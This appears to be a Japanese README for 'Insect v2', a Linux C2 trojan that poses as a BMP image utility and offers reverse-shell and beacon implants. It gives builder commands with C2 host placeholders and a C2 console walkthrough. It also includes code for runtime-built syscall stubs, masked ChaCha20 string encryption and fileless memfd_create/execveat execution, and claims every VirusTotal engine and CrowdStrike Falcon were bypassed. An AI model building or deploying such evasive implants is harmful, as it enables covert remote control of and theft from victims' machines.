
ファイルレスリバースシェルおよびC2フレームワーク。直接システムコール、プロキシトンネリング、ChaCha20暗号化を活用し、AV回避を実現します。
Insectは、ファイルレスリバースシェルおよびビーコンLinuxペイロード用のC2トロイの木馬です。 このトロイの木馬は、24ビットBMP画像処理ユーティリティとして自身を隠します。 静的解析を回避するために、動的システムコールスタブ、memfd_create、ChaCha20暗号化文字列リソース、トンネルプロキシ、ICCプロファイル暗号化を使用します。 C2サーバーは、インタラクティブとビーコンの2種類のペイロードをサポートしています。
手動でのシステムコール作成は古い技術ですが、Insect v2では、最新のスキャナーのレーダーを回避するために、実行時にスタブを構築する方法を改良しました。システムコールを動的に構築することで、ペイロードは静的AVが通常検出する標準的なシグネチャを回避します。
実世界のテストでは、VirusTotal上のすべてのエンジンを正常にバイパスしました。また、CrowdStrike Falconに対してもテストし、静的エンジンからの検出はなく「グリーンフラッグ」を受け取りました。動的解析中には、1つの軽微な疑いが生じただけでしたが、最終的には安全であると判断されました。
免責事項: Insect V2は開発中のものです。また、私はいかなる違法行為も容認しません。レッドチーミングの目的で自由に使用し、改変することができます。
server.py → マルチセッションC2コンソール
main.c → revshellインプラント(インタラクティブシェル)
main_beacon.c → ビーコンインプラント(タスク駆動型ポーリング)
2つのプロファイルがあります:
# Interactive reverse shell
python3 builder.py --profile revshell --host <C2_IP> --port <C2_PORT> --domain <TUNNEL_DOMAIN>
# Task-driven beacon
python3 builder.py --profile beacon --host <C2_IP> --port <C2_PORT> --domain <TUNNEL_DOMAIN>
どちらもbmputilバイナリを生成します。ビルダーはビルド時にすべての平文文字列をChaCha20で暗号化し、コンパイルされたELFをICCプロファイルマスクで暗号化し、名前付きELFセクションに分割し、ローダースタブを生成します。
python3 server.py
デフォルトで0.0.0.0:8080でリスナーを起動します。
(insect) > list # show active sessions
(insect) > use rev-a1b2c3d4 # interact with a revshell
(insect) > task bea-deadbeef whoami # queue a command for a beacon
(insect) > tasks bea-deadbeef # view completed task results
(insect) > listen beacon 0.0.0.0 9090 # start an additional listener
(insect) > exit
セッションは、ビルド時に埋め込まれた一意の4バイト静的IDを介して追跡されます。
ターゲットマシン上で実行する際、ペイロードは正当性を維持するためにダミー引数を受け入れます:
./bmputil input.bmp output.bmp --grayscale
内部的には、フォークし、Minecraftハンドシェイクトンネル(playit.gg)を介してC2に接続し、0xDEADトリガーを待ちます。トリガーされると、stdin/stdout/stderrをソケットにリダイレクトし、/bin/shを起動します。
C2サーバーは、セッションレジストリでrevshell接続を保持します。use <id>を使用して、ターミナルをセッションにアタッチします。
ビーコンは接続し、埋め込まれたbeacon_idで登録し、保留中のタスクを確認し、fork + pipe + execveを介して実行し、結果を報告し、30秒間スリープしてから再接続します。
task <id> <command>を使用して作業をキューに入れます。結果はメモリに保存され、tasks <id>で表示されます。
両方のプロファイルは、同じ回避プリミティブを共有しています:
uint8_t stub[] = {
0x48, 0x89, 0xf8, 0x48, 0x89, 0xf7, 0x48, 0x89, 0xd6,
0x48, 0x89, 0xca, 0x4d, 0x89, 0xc2, 0x4d, 0x89, 0xc8,
0x0f, 0x05, 0xc3
};
memcpy(buf + payload_size, stub, sizeof(stub));
long (*_sys)(long, long, long, long, long, long, long) = (void *)(buf + payload_size);
前述のように、システムコールオペコード(0F 05)は、静的解析を回避するために実行可能メモリ内で実行時に構築されます。
static void _transform_resource(
const uint8_t *in, uint8_t *out, int len,
const uint8_t nce[8], int add_null
) {
uint32_t state[16] = {
0x61707865 ^ __CHACHA_MASK__, 0x3320646e ^ __CHACHA_MASK__, // chacha_mask = random.randint(0x10000000, 0x7FFFFFFF)
// ...
};
}
すべての文字列は、ビルド時に一意のノンスで暗号化されます。状態定数に対するXORマスクは、ChaCha20セットアップのシグネチャベースの検出をブロックします。
long fd = _sys(SYS_MEMFD_CREATE, (long)"", 0, 0, 0, 0, 0);
if (fd >= 0) {
_sys(SYS_WRITE, fd, (long)buf, tot, 0, 0, 0);
long p = _sys(SYS_FORK, 0, 0, 0, 0, 0, 0);
if (p == 0) {
char *args[] = { (char *)APP_NAME, NULL };
_sys(SYS_EXECVEAT, fd, (long)"", (long)args, 0, AT_EMPTY_PATH, 0);
_sys(SYS_EXIT, 1, 0, 0, 0, 0, 0);
}
_sys(SYS_CLOSE, fd, 0, 0, 0, 0, 0);
}
ペイロードは、memfd_create + execveatを介して完全にメモリから実行されます。
技術的には、memfd_createとexecveatはAVによって検出されますが、それらは暗号化され、実行時に構築され、実世界のテストでは驚くべきことにフラグが立てられません。
中間ELFは、ガンマ補正されたICCカラールックアップテーブルとランダムな32バイトキーでXOR暗号化され、8つの名前付き.rodata.blk*セクションに分割されます。ローダースタブはそれを再構築し、復号化し、実行します。
この方法は新しいものではなく、むしろ古い技術ですが、insect v2はさまざまなセキュリティ記事やマルウェアで言及されている技術を修正および再実装しています。ここで確認できます: